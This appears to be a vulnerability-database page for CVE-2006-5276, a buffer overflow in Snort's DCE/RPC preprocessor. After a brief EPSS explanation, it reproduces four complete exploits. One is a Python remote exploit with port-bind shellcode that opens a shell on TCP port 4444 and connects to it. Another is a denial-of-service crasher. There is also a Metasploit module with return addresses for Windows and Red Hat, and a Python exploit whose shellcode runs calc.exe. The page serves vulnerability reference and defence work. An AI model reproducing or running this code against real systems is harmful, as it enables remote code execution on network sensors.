CVE-2006-5276 : Detail

The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.

The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.

#!/usr/bin/python # # Remote exploit for Snort DCE/RPC preprocessor vulnerability as described in # CVE-2006-5276. The exploit binds a shell to TCP port 4444 and connects to it. # This code was tested against snort-2.6.1 running on Red Hat Linux 8 # # Author shall bear no responsibility for any screw ups caused by using this code # Winny Thomas :-) import os import sys import time from scapy import * # Linux portbind shellcode; Binds shell on TCP port 4444 shellcode = "\x31\xdb\x53\x43\x53\x6a\x02\x6a\x66\x58\x99\x89\xe1\xcd\x80\x96" shellcode += "\x43\x52\x66\x68\x11\x5c\x66\x53\x89\xe1\x6a\x66\x58\x50\x51\x56" shellcode += "\x89\xe1\xcd\x80\xb0\x66\xd1\xe3\xcd\x80\x52\x52\x56\x43\x89\xe1" shellcode += "\xb0\x66\xcd\x80\x93\x6a\x02\x59\xb0\x3f\xcd\x80\x49\x79\xf9\xb0" shellcode += "\x0b\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x52\x53" shellcode += "\x89\xe1\xcd\x80" def ExploitSnort(target): # SMB packet borrowed from http://www.milw0rm.com/exploits/3391 # NetBIOS Session Service smbreq = "\x00\x00\x02\xab" # SMB Header smbreq += "\xff\x53\x4d\x42\x75\x00\x00\x00\x00\x18\x07\xc8\x00\x00" smbreq += "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xff\xfe" smbreq += "\x00\x08\x30\x00" # Tree Connect AndX Request smbreq += "\x04\xa2\x00\x52\x00\x08\x00\x01\x00\x27\x00\x00" smbreq += "\x5c\x00\x5c\x00\x49\x00\x4e\x00\x53\x00\x2d\x00\x4b\x00\x49\x00" smbreq += "\x52\x00\x41\x00\x5c\x00\x49\x00\x50\x00\x43\x00\x24\x00\x00\x00" smbreq += "\x3f\x3f\x3f\x3f\x3f\x00" # NT Create AndX Request smbreq += "\x18\x2f\x00\x96\x00\x00\x0e\x00\x16\x00\x00\x00\x00\x00\x00\x00" smbreq += "\x9f\x01\x02\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" smbreq += "\x03\x00\x00\x00\x01\x00\x00\x00\x40\x00\x40\x00\x02\x00\x00\x00" smbreq += "\x01\x11\x00\x00\x5c\x00\x73\x00\x72\x00\x76\x00\x73\x00\x76\x00" smbreq += "\x63\x00\x00\x00" # Write AndX Request #1 smbreq += "\x0e\x2f\x00\xfe\x00\x00\x40\x00\x00\x00\x00\xff\xff\xff\xff\x80" smbreq += "\x00\x48\x00\x00\x00\x48\x00\xb6\x00\x00\x00\x00\x00\x49\x00\xee" smbreq += "\x05\x00\x0b\x03\x10\x00\x00\x00\x10\x02\x00\x00\x01\x00\x00\x00" smbreq += "\xb8\x10\xb8\x10\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x01\x00" smbreq += "\xc8\x4f\x32\x4b\x70\x16\xd3\x01\x12\x78\x5a\x47\xbf\x6e\xe1\x88" smbreq += "\x03\x00\x00\x00\x04\x5d\x88\x8a\xeb\x1c\xc9\x11\x9f\xe8\x08\x00" smbreq += "\x2b\x10\x48\x60\x02\x00\x00\x00" # Write AndX Request #2 smbreq += "\x0e\xff\x00\xde\xde\x00\x40\x00\x00\x00\x00\xff\xff\xff\xff\x80" smbreq += "\x00\x48\x00\x00\x00\xff\x01\xce\x01\x00\x00\x00\x00\x49\x00\xee" smbreq += "\xed\x1e\x94\x7c\x90\x81\xc4\xff\xef\xff\xff\x44" smbreq += "\x31\xc9\x83\xe9\xdd\xd9\xee\xd9\x74\x24\xf4\x5b\x81\x73\x13\xa9" # The following address overwrites RET and points into our shellcode smbreq += struct.pack('<L', 0xbfffeff0) smbreq += '\x90' * 50 smbreq += shellcode smbreq += '\x90' * 130 packet = IP(dst=target) / TCP(sport=1025, dport=139, flags="PA") / smbreq send(packet) def ConnectRemoteShell(target): connect = '/usr/bin/telnet ' + target + ' 4444' os.system(connect) if __name__ == '__main__': try: target = sys.argv[1] except IndexError: print 'Usage: %s <ip of a host on snort network>' % sys.argv[0] sys.exit(-1) print '[+] Sending malformed SMB packet' ExploitSnort(target) print '[+] Connecting to remote shell in 3 seconds...' time.sleep(3) ConnectRemoteShell(target) # milw0rm.com [2007-03-30]

#!/usr/bin/python # # Snort DCE/RPC Preprocessor Buffer Overflow (DoS) # # Author: Trirat Puttaraksa <trir00t [at] gmail.com> # # http://sf-freedom.blogspot.com # ###################################################### # For educational purpose only # # This exploit just crash Snort 2.6.1 on Fedora Core 4. However, Code Execution # may be possible, but I have no time to make it :( # I will post the information about this vulnerability in my blog soon # # Note: this exploit use Scapy (http://www.secdev.org/projects/scapy/) # to inject the packet, so you have to install Scapy before use it. # ####################################################### import sys from scapy import * from struct import pack conf.verb = 0 # NetBIOS Session Service payload = "\x00\x00\x01\xa6" # SMB Header payload += "\xff\x53\x4d\x42\x75\x00\x00\x00\x00\x18\x07\xc8\x00\x00" payload += "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xff\xfe" payload += "\x00\x08\x30\x00" # Tree Connect AndX Request payload += "\x04\xa2\x00\x52\x00\x08\x00\x01\x00\x27\x00\x00" payload += "\x5c\x00\x5c\x00\x49\x00\x4e\x00\x53\x00\x2d\x00\x4b\x00\x49\x00" payload += "\x52\x00\x41\x00\x5c\x00\x49\x00\x50\x00\x43\x00\x24\x00\x00\x00" payload += "\x3f\x3f\x3f\x3f\x3f\x00" # NT Create AndX Request payload += "\x18\x2f\x00\x96\x00\x00\x0e\x00\x16\x00\x00\x00\x00\x00\x00\x00" payload += "\x9f\x01\x02\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" payload += "\x03\x00\x00\x00\x01\x00\x00\x00\x40\x00\x40\x00\x02\x00\x00\x00" payload += "\x01\x11\x00\x00\x5c\x00\x73\x00\x72\x00\x76\x00\x73\x00\x76\x00" payload += "\x63\x00\x00\x00" # Write AndX Request #1 payload += "\x0e\x2f\x00\xfe\x00\x00\x40\x00\x00\x00\x00\xff\xff\xff\xff\x80" payload += "\x00\x48\x00\x00\x00\x48\x00\xb6\x00\x00\x00\x00\x00\x49\x00\xee" payload += "\x05\x00\x0b\x03\x10\x00\x00\x00\xff\x01\x00\x00\x01\x00\x00\x00" payload += "\xb8\x10\xb8\x10\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x01\x00" payload += "\xc8\x4f\x32\x4b\x70\x16\xd3\x01\x12\x78\x5a\x47\xbf\x6e\xe1\x88" payload += "\x03\x00\x00\x00\x04\x5d\x88\x8a\xeb\x1c\xc9\x11\x9f\xe8\x08\x00" payload += "\x2b\x10\x48\x60\x02\x00\x00\x00" # Write AndX Request #2 payload += "\x0e\xff\x00\xde\xde\x00\x40\x00\x00\x00\x00\xff\xff\xff\xff\x80" payload += "\x00\x48\x00\x00\x00\xff\x01\x30\x01\x00\x00\x00\x00\x49\x00\xee" payload += "\x05\x00\x0b\x03\x10\x00\x00\x00\x48\x00\x00\x00\x01\x00\x00\x00" payload += "\xb8\x10\xb8\x10\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x01\x00" payload += "\xc8\x4f\x32\x4b\x70\x16\xd3\x01\x12\x78\x5a\x47\xbf\x6e\xe1\x88" payload += "\x03\x00\x00\x00\x04\x5d\x88\x8a\xeb\x1c\xc9\x11\x9f\xe8\x08\x00" payload += "\x2b\x10\x48\x60\x02\x00\x00\x00" if len(sys.argv) != 2: print "Usage snort_dos_dcerpc.py <fake destination ip>" sys.exit(1) target = sys.argv[1] p = IP(dst=target) / TCP(sport=1025, dport=139, flags="PA") / payload send(p) # milw0rm.com [2007-02-23]

## # This file is part of the Metasploit Framework and may be subject to # redistribution and commercial restrictions. Please see the Metasploit # web site for more information on licensing and terms of use. # http://metasploit.com/ ## require 'msf/core' class Metasploit3 < Msf::Exploit::Remote Rank = GoodRanking include Msf::Exploit::Capture include Msf::Exploit::Remote::Tcp def initialize(info = {}) super(update_info(info, 'Name' => 'Snort 2 DCE/RPC preprocessor Buffer Overflow', 'Description' => %q{ This module allows remote attackers to execute arbitrary code by exploiting the Snort service via crafted SMB traffic. The vulnerability is due to a boundary error within the DCE/RPC preprocessor when reassembling SMB Write AndX requests, which may result a stack-based buffer overflow with a specially crafted packet sent on a network that is monitored by Snort. Vulnerable versions include Snort 2.6.1, 2.7 Beta 1 and SourceFire IDS 4.1, 4.5 and 4.6. Any host on the Snort network may be used as the remote host. The remote host does not need to be running the SMB service for the exploit to be successful. }, 'Author' => [ 'Neel Mehta', #Original discovery (IBM X-Force) 'Trirat Puttaraksa', #POC 'Carsten Maartmann-Moe <carsten[at]carmaa.com>', #Metasploit win '0a29406d9794e4f9b30b3c5d6702c708' #Metasploit linux ], 'License' => MSF_LICENSE, 'References' => [ [ 'OSVDB', '32094' ], [ 'CVE', '2006-5276' ], [ 'URL', 'http://web.archive.org/web/20070221235015/http://www.snort.org/docs/advisory-2007-02-19.html'], [ 'URL', 'http://sf-freedom.blogspot.com/2007/02/snort-261-dcerpc-preprocessor-remote.html'], [ 'URL', 'http://downloads.securityfocus.com/vulnerabilities/exploits/22616-linux.py'] ], 'DefaultOptions' => { 'EXITFUNC' => 'thread', }, 'Payload' => { 'Space' => 390, 'BadChars' => "\x00", 'DisableNops' => true, }, 'Targets' => [ [ 'Windows Universal', { 'Platform' => 'win', 'Ret' => 0x00407c01, # JMP ESP snort.exe 'Offset' => 289, # The number of bytes before overwrite 'Padding' => 0 } ], [ 'Redhat 8', { 'Platform' => 'linux', 'Ret' => 0xbffff110, 'Offset' => 317, 'Padding' => 28 } ] ], 'Privileged' => true, 'DisclosureDate' => 'Feb 19 2007', 'DefaultTarget' => 0)) register_options( [ Opt::RPORT(139), OptAddress.new('RHOST', [ true, 'A host on the Snort-monitored network' ]), OptAddress.new('SHOST', [ false, 'The (potentially spoofed) source address']) ], self.class) deregister_options('FILTER','PCAPFILE','SNAPLEN','TIMEOUT') end def exploit open_pcap shost = datastore['SHOST'] || Rex::Socket.source_address(rhost) p = buildpacket(shost, rhost, rport.to_i) print_status("Sending crafted SMB packet from #{shost} to #{rhost}:#{rport}...") capture_sendto(p, rhost) handler end def buildpacket(shost, rhost, rport) p = PacketFu::TCPPacket.new p.ip_saddr = shost p.ip_daddr = rhost p.tcp_dport = rport p.tcp_flags.psh = 1 p.tcp_flags.ack = 1 # SMB packet borrowed from http://exploit-db.com/exploits/3362 # NetBIOS Session Service, value is the number of bytes in the TCP segment, # must be greater than the total size of the payload. Statically set. header = "\x00\x00\xde\xad" # SMB Header header << "\xff\x53\x4d\x42\x75\x00\x00\x00\x00\x18\x07\xc8\x00\x00" header << "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xff\xfe" header << "\x00\x08\x30\x00" # Tree Connect AndX Request header << "\x04\xa2\x00\x52\x00\x08\x00\x01\x00\x27\x00\x00" header << "\x5c\x00\x5c\x00\x49\x00\x4e\x00\x53\x00\x2d\x00\x4b\x00\x49\x00" header << "\x52\x00\x41\x00\x5c\x00\x49\x00\x50\x00\x43\x00\x24\x00\x00\x00" header << "\x3f\x3f\x3f\x3f\x3f\x00" # NT Create AndX Request header << "\x18\x2f\x00\x96\x00\x00\x0e\x00\x16\x00\x00\x00\x00\x00\x00\x00" header << "\x9f\x01\x02\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" header << "\x03\x00\x00\x00\x01\x00\x00\x00\x40\x00\x40\x00\x02\x00\x00\x00" header << "\x01\x11\x00\x00\x5c\x00\x73\x00\x72\x00\x76\x00\x73\x00\x76\x00" header << "\x63\x00\x00\x00" # Write AndX Request #1 header << "\x0e\x2f\x00\xfe\x00\x00\x40\x00\x00\x00\x00\xff\xff\xff\xff\x80" header << "\x00\x48\x00\x00\x00\x48\x00\xb6\x00\x00\x00\x00\x00\x49\x00\xee" header << "\x05\x00\x0b\x03\x10\x00\x00\x00\xff\x01\x00\x00\x01\x00\x00\x00" header << "\xb8\x10\xb8\x10\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x01\x00" header << "\xc8\x4f\x32\x4b\x70\x16\xd3\x01\x12\x78\x5a\x47\xbf\x6e\xe1\x88" header << "\x03\x00\x00\x00\x04\x5d\x88\x8a\xeb\x1c\xc9\x11\x9f\xe8\x08\x00" header << "\x2b\x10\x48\x60\x02\x00\x00\x00" # Write AndX Request #2 header << "\x0e\xff\x00\xde\xde\x00\x40\x00\x00\x00\x00\xff\xff\xff\xff\x80" header << "\x00\x48\x00\x00\x00\xff\x01" tail = "\x00\x00\x00\x00\x49\x00\xee" # Return address eip = [target['Ret']].pack('V') # Sploit sploit = make_nops(10) sploit << payload.encoded # Padding (to pass size check) sploit << make_nops(1) # The size to be included in Write AndX Request #2, including sploit payload requestsize = [(sploit.size() + target['Offset'])].pack('v') # Assemble the parts into one package p.payload = header << requestsize << tail << make_nops(target['Padding']) << eip << sploit p.recalc p end end

#!/usr/bin/python # # Snort DCE/RPC Preprocessor Buffer Overflow (Command Execution Version) # # Author: Trirat Puttaraksa <trir00t [at] gmail.com> # # http://sf-freedom.blogspot.com # ###################################################### # For educational purpose only # # This exploit call calc.exe on Windows XP SP2 + Snort 2.6.1 # # Note: this exploit use Scapy (http://www.secdev.org/projects/scapy/) # to inject the packet, so you have to install Scapy before use it. # ####################################################### import sys from scapy import * from struct import pack conf.verb = 0 # NetBIOS Session Service payload = "\x00\x00\x02\xab" # SMB Header payload += "\xff\x53\x4d\x42\x75\x00\x00\x00\x00\x18\x07\xc8\x00\x00" payload += "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xff\xfe" payload += "\x00\x08\x30\x00" # Tree Connect AndX Request payload += "\x04\xa2\x00\x52\x00\x08\x00\x01\x00\x27\x00\x00" payload += "\x5c\x00\x5c\x00\x49\x00\x4e\x00\x53\x00\x2d\x00\x4b\x00\x49\x00" payload += "\x52\x00\x41\x00\x5c\x00\x49\x00\x50\x00\x43\x00\x24\x00\x00\x00" payload += "\x3f\x3f\x3f\x3f\x3f\x00" # NT Create AndX Request payload += "\x18\x2f\x00\x96\x00\x00\x0e\x00\x16\x00\x00\x00\x00\x00\x00\x00" payload += "\x9f\x01\x02\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" payload += "\x03\x00\x00\x00\x01\x00\x00\x00\x40\x00\x40\x00\x02\x00\x00\x00" payload += "\x01\x11\x00\x00\x5c\x00\x73\x00\x72\x00\x76\x00\x73\x00\x76\x00" payload += "\x63\x00\x00\x00" # Write AndX Request #1 payload += "\x0e\x2f\x00\xfe\x00\x00\x40\x00\x00\x00\x00\xff\xff\xff\xff\x80" payload += "\x00\x48\x00\x00\x00\x48\x00\xb6\x00\x00\x00\x00\x00\x49\x00\xee" #payload += "\x05\x00\x0b\x03\x10\x00\x00\x00\xff\x01\x00\x00\x01\x00\x00\x00" payload += "\x05\x00\x0b\x03\x10\x00\x00\x00\x10\x02\x00\x00\x01\x00\x00\x00" payload += "\xb8\x10\xb8\x10\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x01\x00" payload += "\xc8\x4f\x32\x4b\x70\x16\xd3\x01\x12\x78\x5a\x47\xbf\x6e\xe1\x88" payload += "\x03\x00\x00\x00\x04\x5d\x88\x8a\xeb\x1c\xc9\x11\x9f\xe8\x08\x00" payload += "\x2b\x10\x48\x60\x02\x00\x00\x00" # Write AndX Request #2 payload += "\x0e\xff\x00\xde\xde\x00\x40\x00\x00\x00\x00\xff\xff\xff\xff\x80" payload += "\x00\x48\x00\x00\x00\xff\x01\xce\x01\x00\x00\x00\x00\x49\x00\xee" # 0x7c941eed -> jmp esp; make stack happy; windows/exec calc.exe (metasploit.com) payload += "\xed\x1e\x94\x7c\x90\x81\xc4\xff\xef\xff\xff\x44" payload += "\x31\xc9\x83\xe9\xdd\xd9\xee\xd9\x74\x24\xf4\x5b\x81\x73\x13\xa9" payload += "\xd1\x80\xf5\x83\xeb\xfc\xe2\xf4\x55\x39\xc4\xf5\xa9\xd1\x0b\xb0" payload += "\x95\x5a\xfc\xf0\xd1\xd0\x6f\x7e\xe6\xc9\x0b\xaa\x89\xd0\x6b\xbc" payload += "\x22\xe5\x0b\xf4\x47\xe0\x40\x6c\x05\x55\x40\x81\xae\x10\x4a\xf8" payload += "\xa8\x13\x6b\x01\x92\x85\xa4\xf1\xdc\x34\x0b\xaa\x8d\xd0\x6b\x93" payload += "\x22\xdd\xcb\x7e\xf6\xcd\x81\x1e\x22\xcd\x0b\xf4\x42\x58\xdc\xd1" payload += "\xad\x12\xb1\x35\xcd\x5a\xc0\xc5\x2c\x11\xf8\xf9\x22\x91\x8c\x7e" payload += "\xd9\xcd\x2d\x7e\xc1\xd9\x6b\xfc\x22\x51\x30\xf5\xa9\xd1\x0b\x9d" payload += "\x95\x8e\xb1\x03\xc9\x87\x09\x0d\x2a\x11\xfb\xa5\xc1\xaf\x58\x17" payload += "\xda\xb9\x18\x0b\x23\xdf\xd7\x0a\x4e\xb2\xe1\x99\xca\xff\xe5\x8d" payload += "\xcc\xd1\x80\xf5" payload += "\x90" # padding if len(sys.argv) != 2: print "Usage snort_execute_dcerpc.py <fake destination ip>" sys.exit(1) target = sys.argv[1] p = IP(dst=target) / TCP(sport=1025, dport=139, flags="PA") / payload send(p) # milw0rm.com [2007-03-01]